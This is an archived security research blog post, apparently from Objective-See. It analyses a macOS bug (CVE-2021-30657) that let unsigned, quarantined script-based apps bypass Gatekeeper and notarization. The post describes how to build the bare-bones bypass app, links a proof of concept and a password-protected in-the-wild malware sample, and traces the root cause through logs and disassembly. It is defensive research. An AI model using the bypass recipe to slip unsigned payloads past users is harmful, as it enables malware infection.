{
	"id": "fd1b5489-d55f-48aa-b8ab-ab98bc7966c8",
	"created_at": "2026-04-06T00:12:40.121236Z",
	"updated_at": "2026-04-10T03:30:33.615147Z",
	"deleted_at": null,
	"sha1_hash": "bfcc32ff0de540d57dd22ca664a6fcb5027ab6d9",
	"title": "All Your Macs Are Belong To Us",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 5719397,
	"plain_text": "All Your Macs Are Belong To Us\r\nArchived: 2026-04-05 22:55:08 UTC\r\nAll Your Macs Are Belong To Us\r\nbypassing macOS's file quarantine, gatekeeper, and notarization requirements\r\nby: Patrick Wardle / April 26, 2021\r\nOur research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n👾 Want to play along?\r\nI’ve uploaded a sample Proof of Concept …when run, it simply pops Calculator.app.\r\n⚠️ Malware\r\nI’ve also uploaded a malware sample (Shlayer.zip) that exploited this vulnerability in the wild as a 0day!\r\n(password: infect3d)\r\n️ Printable\r\nA printable (PDF) version of this blog post, can be downloaded here:\r\n\"All_Your_Macs_Are_Belong_To_Us.pdf\".\r\nOutline\r\nThis is our 100th blog post …and it’s a doozy!\r\nBut first, go update your macOS systems to 11.3, as it contains a patch for a massive bug that affects all recent\r\nversions of macOS…a bug that is the topic of this blog post.\r\nThis bug trivially bypasses many core Apple security mechanisms, leaving Mac users at grave risk:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 1 of 57\n\nopened → owned\r\n…and especially worrisome, turns out malware authors are already exploiting it in the wild as an 0day. Yikes!\r\nApple patched the bug as CVE-2021-30657, noting \"a malicious application may bypass Gatekeeper checks\"\r\nThe security researcher Cedric Owens uncovered the flaw and initially reported the bug to Cupertino. Epic find\r\nCedric! 🤩\r\nCedric notes the bug manifested while building red team payloads via the appify developer tool. He’s posted a\r\nmust read, that provides step by step details on how this bug may be practically leveraged to surreptitiously\r\ndeliver payloads in red team exercises:\r\n\"macOS Gatekeeper Bypass (2021) Addition\".\r\nHowever, as the underlying cause of the bug remained unknown, our blog post focuses on uncovering the reason\r\n…ultimately discovering a flaw that lay deep within macOS’s policy subsystem(s).\r\nThere’s a rather massive amount of information presented in this blog post, so let’s break down what we’re going\r\nto cover:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 2 of 57\n\nBackground:\r\nWe begin the post with a discussion of common (user-assisted) infection vectors and highlight security\r\nmechanisms that Apple has introduced to keep users safe. It is important to understand these core macOS\r\nsecurity mechanisms, as they are the very mechanisms the bug trivially and wholly bypasses.\r\nRoot Cause Analysis:\r\nThe core of the blog post digs deep into the bowels of macOS to uncover the root cause of the bug. In this\r\nsection, we'll detail the flaw which ultimately results in the misclassification of quarantined items, such as\r\nmalicious applications. Such misclassified apps, even if unsigned (and unnotarized), will be allowed to run\r\nuninhibited. No alerts, no prompts, and not blocked. Oops!\r\nIn the Wild (0day):\r\nUnfortunately a subversive malware installer is already exploiting this flaw in the wild, as a 0day. In this\r\nsection of the post, we briefly discuss this worrisome finding.\r\nThe Patch:\r\nNext, after reverse-engineering Apple's 11.3 update, we describe how Cupertino addressed this flaw. And\r\ngood news, once patched macOS users should regain full protection.\r\nProtections \u0026 Detections:\r\nFinally, we'll wrap things up with a brief discussion on protections, most notably highlighting the fact that\r\nBlockBlock already provided sufficient protection against this 0day. Here, we'll also discuss a novel idea\r\naimed at detecting previous attacks that exploited this flaw, and provide a simple Python script, scan.py, to\r\nautomate such detection!\r\nBackground\r\nThe majority of Mac malware infections are a result of users (naively, or mistakenly) running something they\r\nshould not. And while such infections, yes, do require user interaction, they are still massively successful. In fact,\r\nthe recently discovered Silver Sparrow malware, successfully infected over 30,000 Macs in a matter of weeks,\r\neven though such infections did require such user interactions. (See: “Mysterious Silver Sparrow Malware Found\r\nNesting on 30K Macs”).\r\nAnd how do malware authors convince such users to infect themselves? Ah, in a myriad of creative, wily, and\r\nsurreptitious ways such as:\r\nPackaged with shareware:\r\nExample(s): OSX.InstallCore , and countless other adware.\r\nMalicious search results:\r\nExample(s): OSX.Shlayer , OSX.SilverSparrow , etc.\r\nPirated/cracked applications\r\nExample(s): OSX.iWorm , OSX.BirdMiner , etc.\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 3 of 57\n\nFake (Flash) Updaters / Applications\r\nExample(s): OSX.Shlayer , OSX.Siggen , etc.\r\nMalicious email attachments\r\nExample(s): OSX.LaoShu , OSX.Janicab , etc.\r\nSupply chain payloads\r\nExample(s): OSX.Proton , OSX.KeRanger , etc.\r\nAnd many many more!\r\nYes, when the user falls for some of these infection vectors (e.g. pirated applications) we collectively shake our\r\nheads and wonder “well, what did you expect!?”, however other infection vectors are far more surreptitious and\r\narguably the user is not at fault in any way. For example, in a supply chain attack, where a legitimate software\r\ndistribution website is hacked and legitimate products are trojanized, it’s unreasonable to blame any user who\r\ninadvertently downloads and runs such software.\r\nRegardless of who’s at fault (or not), Apple seems to feel personally attacked. Besides of course wanting what’s\r\nbest for their shareholders users, they have an image to uphold! Remember, “Macs Don’t Get Malware!” (tm).\r\nAll kidding (and criticisms) aside, over the years Apple has taken several important steps aimed at preventing any\r\nand all “user-assisted” infections. Here, we briefly recap such major steps that include the addition of OS-level\r\nsecurity mechanisms such as File Quarantine, Gatekeeper, and Application Notarization. An understanding of\r\nthese foundation macOS protection mechanism is important as many users, and even some enterprises have come\r\nto (solely) depend on them. Which is fine(ish), unless Apple ships buggy code that undermines all such\r\nprotections!\r\nFile Quarantine\r\nFile Quarantine, was introduced in OSX Leopard (10.5), all the way back in 2007! When a user first opens a\r\ndownloaded file such as an application, File Quarantine provides a warning to the user that requires explicit\r\nconfirmation before allowing the file to execute. The idea is simply to ensure that the user understands that they\r\nare indeed opening an application (even if the file looks like, say, a PDF document).\r\nFor an example of File Quarantine in action let’s look at the OSX.LaoShu malware. In order to surreptitiously\r\ntrick users into infecting themselves, attackers sent targeted victims customized emails with a link to a malicious\r\nURL. If the user clicked on the link, a malicious application (masquerading as a PDF document) would be\r\nautomatically downloaded:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 4 of 57\n\nA malicious app (OSX.LaoShu), masquerading as a PDF (image credit: Sophos).\r\nIf the user would attempt to open what they (understandably) believed was a PDF document, File Quarantine\r\nwould spring into action, alerting the user that this was in fact an application, not a harmless PDF document:\r\nFile Quarantine in action (image credit: Sophos).\r\nIdeally the user would recognize their (near) faux pas and the infection would be thwarted thanks to File\r\nQuarantine! It should be noted that even today, a File Quarantine prompt is shown for approved (i.e. notarized)\r\napplications.\r\nGatekeeper\r\nUnfortunately users kept infecting themselves, often by ignoring or simply clicking through File Quarantine alerts.\r\nTo combat this, as well as evolving malware infection vectors, Apple introduced Gatekeeper in OSX Lion (10.7).\r\nBuilt atop File Quarantine, Gatekeeper checks the code signing information of downloaded items and blocks those\r\nthat do not adhere to system policies. (For example, it checks that items are signed with a valid developer ID):\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 5 of 57\n\nA Gatekeeper overview\r\nApple’s logic was rooted in the (mis)belief that malware authors would not be able to obtain such Apple\r\nDeveloper IDs, and thus their malware would remain unsigned and thus generically blocked by Gatekeeper. In the\r\nimage above, note that when unsigned malware is executed, Gatekeeper will block it and alert the user. Moreover,\r\nthere is no option in the Gatekeeper prompt to allow the (unsigned) code to run. Thus the user is protected.\r\nHooray?\r\nOf course it turned to be fairly trivial for attackers to obtain Apple Developer IDs and thus sign their malicious\r\ncreations. For example in a supply chain attack against the popular MacUpdate.com website, attackers trojanized\r\nand (re)signed popular software such as Firefox:\r\nTrojanized Firefox (note: \"Developer ID Application: Ramos Jaxson\")\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 6 of 57\n\nIf users downloaded and ran the trojanized Firefox, Gatekeeper would allow it …as it was “validly” (re)signed.\r\nThus the system would be infected.\r\nUnfortunately even today, it’s still trivial for attackers to obtain such Apple Developer IDs and thus sign their\r\nmalicious creations:\r\nI noticed dozen websites flourishing (even through google ads) for buying/selling/renting Apple\r\ndeveloper entreprise accounts and Apple developer certificates.\r\nI guess the macOS malware season has started 😂🌻🌼 pic.twitter.com/PQnrUKQhUF\r\n— taha (@lordx64) April 3, 2021\r\nIt should be noted that even if Gatekeeper is bypassed a File Quarantine prompt would still be shown to the user.\r\nRecall that such a prompt requires explicit user-approval. Still, as Gatekeeper failed to be a panacea, Apple had to\r\nrespond …yet again.\r\nNotarization Requirements\r\nMost recently, macOS Catalina (10.15) took yet another step at combating user-assisted infections with the\r\nintroduction of Application Notarization requirements. These requirements ensure that Apple has scanned and\r\napproved all software before it is allowed to run, giving users, (as noted by Apple), “confidence” that the software,\r\n“has been checked for malicious components”:\r\nA notarization overview\r\nNote that similar to a Gatekeeper alert, in a Notarization alert there is no option for the user to allow the\r\nunnotarized code to run. Thus code that has not been scanned and notarized by Apple will be blocked.\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 7 of 57\n\nNotarization is clearly the most draconian, yet arguably “best” approach yet to protect macOS users from\r\ninadvertently infecting themselves. …and rather humorously has resulted in hackers sliding into my DMs, as\r\nnotarization apparently ruined their whole operation. Ha!\r\nNotarization vs. Hackers\r\nQuarantine Attribute\r\nBefore we detail a logic flaw in macOS that allows an attacker to trivially and reliably bypass all of these\r\nfoundational mitigations, let’s briefly talk about the quarantine attribute. You may have been wondering, how does\r\nmacOS know to analyze a file in order to possibly display a File Quarantine, Gatekeeper, or Notarization prompt?\r\nThe answer is the quarantine attribute!\r\nSimply put, whenever an item is downloaded from the Internet (via an application such as a browser), macOS or\r\nthe application that downloaded the item, will tag it with an extended attribute, named com.apple.quarantine .\r\nYou can confirm this for yourself. First download any file via your browser and then run macOS’s “extended\r\nattribute” utility, xattr along with the path to file:\r\n% xattr ~/Downloads/BlockBlock\\ Installer.app\r\ncom.apple.quarantine\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 8 of 57\n\n% xattr -p com.apple.quarantine ~/Downloads/BlockBlock\\ Installer.app\r\n0081;606ec805;Chrome;BCCEDD88-5E0C-4F6A-95B7-DBC0D2D645EC\r\nNote that the -p option will print out the contents of the specified extended attribute. For the\r\ncom.apple.quarantine this includes various flags, a time stamp, the responsible application that downloaded the\r\nfile, and a UUID that maps to a key in the com.apple.LaunchServices.QuarantineEventsV* database.\r\nWhenever the user first attempts to open a file that contains a quarantine attribute (i.e. anything downloaded from\r\nthe Internet), macOS will launch the process in a suspended state. Then, the system will perform a myriad of\r\ncomplex checks on the file, designed to trigger the appropriate alert or prompt. On modern versions of macOS the\r\nuser will either be shown:\r\n1. A (File Quarantine) prompt requiring explicit user consent (if the item is validly signed and notarized).\r\n…or\r\n2. A (Notarization) alert informing the user that the file cannot be run (if the item is not validly signed and\r\nnotarized).\r\nIf the process is allowed (signed \u0026 notarized) and the user approves it, the system will then unsuspend (resume) it\r\n…allowing it to now execute.\r\nIf a file does not contain the com.apple.quarantine attribute, macOS assumes it's a local file. As such, none of the\r\nchecks will be performed and thus no prompts/alerts will be shown. This is by design, and is not a bug.\r\nWhile this means malware that is already on the box can download unsigned/unnotarized (second-stage) payloads,\r\nstrip the quarantine attribute, then launch said payloads without fear of alerts …the fact remains the initial\r\nmalware (or its delivery mechanism) will possess the quarantine attribute, and thus will be subjected to such\r\nchecks and/or alerts when launched.\r\nBut what if I told you there was a trivial and reliable way to bypass any and all such prompts!? …meaning, if a\r\nuser simply double-clicks on the file, game freaking over!? 🥲\r\nProblem(s) In Paradise\r\nSince 2007 (when File Quarantine was introduced) macOS has alerted users whenever they attempt to launch an\r\napplication that has been downloaded from the Internet. And now, on recent versions of macOS, unless that\r\napplication has been scanned and explicitly approved (notarized) by Apple, macOS will refuse to run the file …or\r\nwill it!?\r\nUnfortunately as we’ll see, due to a subtle logic bug deep within Apple’s policy engine, it was possible to craft a\r\nmalicious application that though unsigned (and hence unnotarized), would be allowed to launch with no prompts\r\nnor alerts. No File Quarantine prompt, no Gatekeeper alert, no Notarization alert …nothing!\r\nIn the following demo, a proof of concept application named “Patricks_Resume” is downloaded. Though it\r\nappears to be a harmless PDF document, when opened, though unsigned, unnotarized, and quarantined, it’s able to\r\nlaunch Calculator.app (or really do pretty much anything else):\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 9 of 57\n\nNote that the exploited system is a fully patched M1 Macbook, running the latest macOS Big Sur (11.2.3).\r\nWe can confirm the downloaded app has been tagged with the quarantine attribute:\r\n% xattr ~/Downloads/Patricks_Resume.app\r\ncom.apple.FinderInfo\r\ncom.apple.metadata:kMDItemWhereFroms\r\ncom.apple.quarantine\r\n…and is completely unsigned (and thus unnotarized):\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 10 of 57\n\nUnsigned, unnotarized, and quarantined\r\nI guess, party like it’s pre-2007!? 😱\r\nIt appears that this bug was introduced in macOS 10.15 ...thus older versions of macOS do not seem be\r\nvulnerable.\r\nIf I had to guess, it was likely introduced along with macOS 10.15’s new notarization logic. Thus the goal of\r\nattempting to secure and lock down macOS wholly backfired:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 11 of 57\n\n...meanwhile, at Cupertino? (image credit: @urupzia)\r\nRoot Cause Analysis\r\nObviously this vulnerability is massively bad, as it affords malware authors the ability to return to their proven\r\nmethods of targeting and infecting macOS users. Though we’ll talk about 3rd-party methods of protections (that\r\nexisted before Apple’s patch!) as well as methods of detections exploitation attempts of this bug, first let’s walk\r\nthrough the process of uncovering the root cause, the underlying flaw.\r\nOur analysis was performed on a fully patched macOS Big Sur (11.2.3) system. Due to \"security\" features on M1\r\nsystems (that hinder debugging), we'll stick to a Intel/x86_64 system.\r\nHowever as the flaw is a logic issue, the systems underlying architecture is irrelevant (as illustrated in the\r\nexploitation of a M1 system in the video above).\r\nThough the underlying flaw is found deep in the bowels of macOS, don’t worry we’ll gently ease in.\r\nFirst, take a look at the our proof of concept application ( PoC.app ) that triggers the vulnerability (as this will be\r\nlaunched with no alerts nor prompts, even though it’s unsigned, unnotarized, and quarantined).\r\nOur proof of concept application\r\nAt first glance, it appears to be a standard macOS application.\r\nHowever, if we dig deeper, we note two important observations:\r\n1. The application’s bundle is “missing” several standard components, most notably there is no Info.plist\r\nfile. (An Info.plist file contains meta information about an application, such as the path to its\r\nexecutable).\r\n$ find PoC.app\r\nPoC.app/Contents\r\nPoC.app/Contents/MacOS\r\nPoC.app/Contents/MacOS/PoC\r\nInstead, the application is solely composed of a directory named PoC.app , a Contents subdirectory, a\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 12 of 57\n\nMacOS sub-subdirectory, and then within that, a file whose name matches that of the (top-level)\r\napplication ( PoC ).\r\n2. The application’s executable component ( PoC ) is not a mach-O binary, but rather a (bash) script:\r\n$ file PoC.app/Contents/MacOS/PoC\r\nPoC.app/Contents/MacOS/PoC: POSIX shell script text executable, ASCII text\r\nIn terms of the first observation, it turns out that many of the standard components of an application’s bundle (e.g.\r\nthe Info.plist file) are indeed optional. In fact, it appears that the system treats anything that ends in .app as\r\nan application. To test this, simply create an empty folder name foo.app and double-click it. Though it errors out\r\n(as it’s just a folder, with no executable content), the error prompt confirms that the system did indeed try to\r\nlaunch it as an application:\r\n...tried (and failed) to launch as an app\r\nTurns out, if we add a Contents folder, then (within that) a MacOS folder, and finally (within that) an executable\r\nitem …it will successfully run! Though rather bare-boned, that’s apparently all that’s needed. It’s worth reiterating\r\nthat without an Info.plist file, the executable item’s name, must match the name of the application. This is how\r\nmacOS is still able to ascertain what to execute when the user double clicks the “app”. Hence, for our bare-bones\r\nproof of concept application ( PoC.app ), the item’s name must be PoC :\r\nOur bare-boned PoC app's bundle structure\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 13 of 57\n\nThe \"appify\" developer script on github, will programmatically create such a bare-bones application for you (that\r\nunintentionally, will trigger this vulnerability).\r\nBefore moving on, let’s ratchet up macOS application policy to its highest and most restrictive level, so that only\r\napplications from the macOS app store are allowed. In theory this means that external applications, even if\r\nnotarized will be blocked by the OS:\r\nApplication policy\r\nIt’s important though to note that the vulnerability also presents itself at lower / the default policy settings. That is\r\nto say, it is unrelated and unaffected by the system policy settings.\r\nLet’s now upload this “bare-bones” application, and then download it to simulate an attack. Once downloaded, we\r\ncan confirm that, as expected, the application has been automatically tagged with the com.apple.quarantine\r\nextended attribute:\r\n$ xattr ~/Downloads/PoC.app\r\n...\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 14 of 57\n\ncom.apple.quarantine\r\n$ xattr -p com.apple.quarantine ~/Downloads/PoC.app\r\n0081;606fefb9;Chrome;688DEB5F-E0DF-4681-B747-1EC74C61E8B6\r\nThus we can assume (and later confirm) that the bug is not related to a missing (or say corrupted)\r\ncom.apple.quarantine attribute. And due to the presence of this quarantine attribute, we’ll see it will still be\r\nevaluated by macOS’s “should-this-application-be-allowed-to-run” logic.\r\nWe can also confirm (via a tools such as WhatsYourSign), that the application is unsigned (and thus also\r\nunnotarized):\r\nPoC.app: unsigned/unnotarized\r\nDue to the fact that the application has been tagged with a quarantine attribute, and that it is unsigned (and thus\r\nnot notarized), one would certainly think it would be soundly blocked by macOS. But as we noted early this is not\r\nthe case …it’s allowed to run uninhibited.\r\nAs the quarantined application is allowed (with no alerts nor prompts), this implies a bug is somewhere in\r\nmacOS’s application “evaluation” logic. Unfortunately (for us), when a user launches an application no less than\r\nhalf a dozen user-mode applications, system daemons and the kernel are involved.\r\nIn a 2016 talk at ShmooCon titled, “Gatekeeper Exposed; Come, See, Conquer”, I provided a detailed (although\r\nnow somewhat dated) walk-through of these interactions:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 15 of 57\n\nLaunching an application is a complicated ordeal\r\nSince this talk, Apple has expanded (read: complicated) this process, adding XPC calls into its system policy\r\ndaemon, syspolicyd , and its XProtect (anti-virus) agent, XprotectService .\r\nInstead of painstakingly walking through every single one of these interprocess and kernel interactions, let’s see if\r\nwe can first zero in on the likely location of the bug via a more passive approach …log messages!\r\nRoot Cause Analysis: To The Logs!\r\nRecall that our problematic proof of concept application is a rather abnormal “bare-bones” application whose\r\nexecutable component is a script (versus a normal mach-O binary).\r\nOur idea to get a better sense of where the bug may lie is rather simple. While monitoring system logs let’s run:\r\nA “normal” application\r\n…containing the standard application bundle files (such as an Info.plist file), as well as standard mach-O executable.\r\nA script-based application ( Script.app )\r\n…containing the standard application bundle files (such as an Info.plist file), but a (bash) script as its\r\nexecutable.\r\nOur proof-of-concept application ( PoC.app )\r\n…missing the standard application bundle files (such as an Info.plist file), and having a (bash) script as\r\nits executable.\r\nAll three are unsigned and downloaded from the Internet (i.e. tagged with the com.apple.quarantine extended\r\nattribute). As the “normal” and script-based application are both blocked (as expected) ideally we’ll quickly\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 16 of 57\n\nuncover any divergent logic which can point us decisively in the direction of a bug which allows our PoC to run!\nOn recent versions of macOS, Apple has unified all logging and provided a new utility (aptly named) log to\nparse and view all log messages. If executed with the stream parameter, the log utility will stream messages to\na terminal window as they’re generated.\nUnfortunately for security and privacy reasons much of the (likely relevant) output is redacted. (You’ve likely\nseen the keyword, indicating some/all of the message has been redacted). However by installing a\ncustomized profile we can disable such redactions and thus fully view any and all log messages.\n 1UBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\n 2 3 4 PayloadContent 5 6 7 PayloadDisplayName 8 Private Data Logging 9 PayloadIdentifier 10 com.apple.private-data.logging 11 PayloadType 12 com.apple.system.logging 13 PayloadUUID 14 686285D4-CCD8-4A12-B861-080E1754E835 15 PayloadVersion 16 1 17 System 18 19 Enable-Private-Data 20 21 Privacy-Enable-Level 22 Sensitive 23 Default-Privacy-Setting 24 Sensitive 25 26 27 28 PayloadDisplayName 29 Private Data Logging 30 PayloadIdentifier 31 LoggingProfile 32 PayloadRemovalDisallowed 33 34 PayloadType 35 Configuration 36 PayloadUUID 37 D2943CD1-75E8-4024-8525-79DF78377418 https://objective-see.com/blog/blog_0x64.html\nPage 17 of 57\n\n38 \u003ckey\u003ePayloadVersion\u003c/key\u003e\r\n39 \u003cinteger\u003e1\u003c/integer\u003e\r\n40\u003c/dict\u003e\r\n41\u003c/plist\u003e\r\nA \"private data logging\" profile\r\nIf your idea of fun is reading lines and lines and lines of largely irrelevant log messages, I’m sorry (for several\r\nreasons). Here, I’m only going to present a few relevant lines from executing first the “normal” mach-O\r\napplication, then the “normal” script-based application, and finally our problematic proof of concept application.\r\nAgain the goal is to identify both commonalities, and divergences in logging output amongst the three, with the\r\nhope of finding the general location of the bug. Recall also that all three applications are unsigned and\r\ndownloaded from the Internet (and thus have been tagged with the file quarantine extended attribute).\r\nFirst up, let’s attempt to launch the “normal” mach-O application. I chose the MachOView utility, grabbed off\r\nSourceForge. As we’ve set macOS’s application policy to its highest setting (only applications from the App\r\nStore) when we run it, it is, as expected blocked:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 18 of 57\n\nThe normal (mach-O) app: blocked\r\nNote that if we lower the policy to allow applications from either the macOS App Store or from “identified\r\ndevelopers” it is still blocked as it is not notarized:\r\nThe normal (mach-O) app: still blocked\r\nEither way, note that neither prompt provides a way to allow the application to run.\r\nNow to the logs!\r\n% log stream --level debug\r\n...\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 19 of 57\n\nsyspolicyd: [com.apple.syspolicy.exec:default] GK process assessment: /Volumes/MachOView 1/MachOView\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK performScan: PST: (path: /Volumes/MachOView 1/MachO\r\nsyspolicyd: [com.apple.syspolicy.exec:default] Checking legacy notarization\r\nsyspolicyd: (Security) [com.apple.securityd:notarization] checking with online notarization service f\r\nsyspolicyd: (Security) [com.apple.securityd:notarization] isNotarized = 0\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK scan complete: PST: (path: /Volumes/MachOView 1/Mac\r\nsyspolicyd: [com.apple.syspolicy.exec:default] App gets first launch prompt because responsibility: /\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK evaluateScanResult: 0, PST: (path: /Volumes/MachOVi\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK eval - was allowed: 0, show prompt: 1\r\nsyspolicyd: (LaunchServices) [com.apple.launchservices:code-evaluation] present prompt: uid=501, con\r\nsyspolicyd: [com.apple.syspolicy.exec:default] Prompt shown (7, 0), waiting for response: PST: (path\r\nExamining log messages that are generated as a result of attempting to launch the standard mach-O application\r\nreveal that Apple’s system policy daemon, syspolicyd is ultimately responsible for determining if the\r\napplication is to be allowed …or denied.\r\nThe messages from syspolicyd show a Gatekeeper ( GK ) scan is performed on the application, as well as a\r\nnotarization check (which returns false). The scan results are shown in the following message: “ GK\r\nevaluateScanResult: 0, PST: (path: /Volumes/MachOView 1/MachOView.app), (team: (null)), (id: (null)),\r\n(bundle_id: MachOView), 1, 0, 1, 0, 7, 0 ”.\r\n…we’ll decode the meaning of these numbers shortly via reverse engineering.\r\nIn the next line of log output, we see a show prompt: 1 (true). No surprise then, that a prompt (alert) is shown to\r\nthe user, describing why the application is to be blocked. Once the user interacts with the prompt, the following\r\nlog messages are generated, which confirm that the system (as expected) then blocks the application:\r\n% log stream --level debug\r\n...\r\nsyspolicyd (LaunchServices) [com.apple.launchservices:code-evaluation] handle prompt response=Acknowl\r\nsyspolicyd [com.apple.syspolicy.exec:default] Terminating process due to Gatekeeper rejection: 20588\r\nMoving on, let’s reset the logs, and execute the second application …the normal, albeit script-based app\r\n( Script.app ):\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 20 of 57\n\n% log stream --level debug\r\n...\r\nsyspolicyd [com.apple.syspolicy.exec:default] Script evaluation: /Users/patrick/Downloads/Script.app/\r\nsyspolicyd [com.apple.syspolicy.exec:default] GK process assessment: /Users/patrick/Downloads/Script\r\nsyspolicyd [com.apple.syspolicy.exec:default] GK performScan: PST: (path: /Users/patrick/Downloads/Sc\r\nsyspolicyd: [com.apple.syspolicy.exec:default] Checking legacy notarization\r\nsyspolicyd: (Security) [com.apple.securityd:notarization] checking with online notarization service f\r\nsyspolicyd: (Security) [com.apple.securityd:notarization] isNotarized = 0\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK scan complete: PST: (path: /Users/patrick/Downloads\r\nsyspolicyd: [com.apple.syspolicy.exec:default] App gets first launch prompt because responsibility: /\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK evaluateScanResult: 0, PST: (path: /Users/patrick/D\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK eval - was allowed: 0, show prompt: 1\r\nsyspolicyd: (LaunchServices) [com.apple.launchservices:code-evaluation] present prompt: uid=501, conn\r\nsyspolicyd: [com.apple.syspolicy.exec:default] Prompt shown (7, 0), waiting for response: PST: (path\r\nFirst note one difference …the “ Script evaluation: ” log message, that indicates that there is a (slightly?)\r\ndifferent code path for applications whose executable component is a script.\r\nOther than that, the log messages are nearly identical to the the “normal” (machO-based) application: a\r\nGatekeeper scan is performed that results in the same evaluation results: “ GK evaluateScanResult: 0, PST:\r\n(path: /Users/patrick/Downloads/Script.app), (team: (null)), (id: (null)), (bundle_id: Script), 1, 0,\r\n1, 0, 7, 0 ”.\r\nSuch an evaluation triggers other log messages, and of course a prompt that is shown to the user:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 21 of 57\n\nThe normal (script-based) app: blocked\r\nOnce the user clicks OK, syspolicyd logs message related to blocking and terminating the application (e.g.\r\n“ Terminating process due to Gatekeeper... ”).\r\nNow on to running our proof-of-concept application ( PoC.app ), which recall is allowed to run with no alerts nor\r\nprompts. Here are the relevant log messages from syspolicyd :\r\n% log stream --level debug\r\n...\r\nsyspolicyd: [com.apple.syspolicy.exec:default] Script evaluation: /Users/patrick/Downloads/PoC.app/Co\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK process assessment: /Users/patrick/Downloads/PoC.ap\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK performScan: PST: (path: /Users/patrick/Downloads/P\r\nsyspolicyd: [com.apple.syspolicy.exec:default] Checking legacy notarization\r\nsyspolicyd: (Security) [com.apple.securityd:notarization] checking with online notarization service f\r\nsyspolicyd: (Security) [com.apple.securityd:notarization] isNotarized = 0\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK scan complete: PST: (path: /Users/patrick/Downloads\r\nsyspolicyd: [com.apple.syspolicy.exec:default] GK evaluateScanResult: 2, PST: (path: /Users/patrick/D\r\nsyspolicyd: [com.apple.syspolicy.exec:default] Updating flags: /Users/patrick/Downloads/PoC.app/Conte\r\nThe log messages start out identical to both the normal and script-based applications. However, note that the\r\nevaluation results come back different: “ GK evaluateScanResult: 2, PST: (path:\r\n/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: (null)), (bundle_id:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 22 of 57\n\nNOT_A_BUNDLE), 1, 0, 1, 0, 7, 0 ” (Recall the other two applications returned with a “ GK evaluateScanResult:\r\n0 ”).\r\nFollowing a evaluation result of 2 (versus a 0), no prompt-related log messages are shown … syspolicyd just\r\nlogs “ Updating flags: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, 512 ” and goes on its merry\r\nway (allowing our PoC application to run uninhibited)!\r\nHooray! …via log analysis we’ve identified syspolicyd as the OS-component that is both core to the application\r\nanalysis and approval process and likely contains the flaw. Moreover, we’ve pinpointed divergent logic (that\r\nappears to skip any alerts and allows the application to run), based on a Gatekeeper scan result of a 2. #progress\r\nLet’s now dive into a full reverse-engineering session combining static and dynamic analysis of syspolicyd in\r\norder to uncover exactly why our problematic proof of concept application is triggering such a Gatekeeper scan\r\nresult (a 2), and why this results in the alert/blocking logic being totally skipped!\r\nRoot Cause Analysis: To The Disassembler \u0026 Debugger!\r\nAnalysis of log messages revealed that syspolicyd (as its name suggests) is the arbiter in determining if an\r\napplication should be allowed to run. Moreover divergent log messages indicated that our proof of concept was\r\nperhaps triggering a logic flaw deep within syspolicyd …a flaw that would allow an unsigned, unnotarized\r\napplication to be run, when it clearly should be resoundingly blocked!\r\nFound in /usr/libexec , syspolicyd is fairly compact binary, though its role is imperative to system security\r\n(for example, it is also involved in authorizing KEXTs). Luckily due to its rather copious logging, we can quickly\r\ntrack down the code responsible for application assessments, which ultimately leads us to the bug.\r\nRecall that when any script-based application is run (either the “normal” one that was blocked, or our funky PoC\r\nthat was allowed), a log message is generated indicating perhaps some (script-specific) code path . For example,\r\nfor our PoC.app , syspolicyd logs: Script evaluation:\r\n/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, /bin/sh . This message appears to contain the full path\r\nof the item to evaluate (the script within our app), as well as the parent or responsible process (that is to say, who\r\nis about to run it). We find the code responsible for generating this log message within a unnamed subroutine in\r\nsyspolicyd :\r\n1if (os_log_type_enabled(rax, 0x1) != 0x0) {\r\n2 var_50 = 0x8400202;\r\n3 *(\u0026var_50 + 0x4) = r13;\r\n4 *(int16_t *)(\u0026var_50 + 0xc) = 0x840;\r\n5 *(\u0026var_50 + 0xe) = r12;\r\n6 os_log_impl(__mh_execute_header, rbx, 0x1, \"Script evaluation: %@, %@\", \u0026var_50, 0x16);\r\n7}\r\nLet’s take a more comprehensive look at this subroutine, to understand its arguments, its logic, and how the\r\n(script-based) assessment will continue. Below, is an abridged, cleaned-up, an annotated decompilation of this\r\nsubroutine:\r\nhttps://objective-see.com/blog/blog_0x64.html\r\nPage 23 of 57\n\n1int sub_10002a068(int arg0, int arg1, int arg2, int arg3,\r\n 2 int arg4, int arg5, int arg6, int arg7)\r\n 3{\r\n 4 ...\r\n 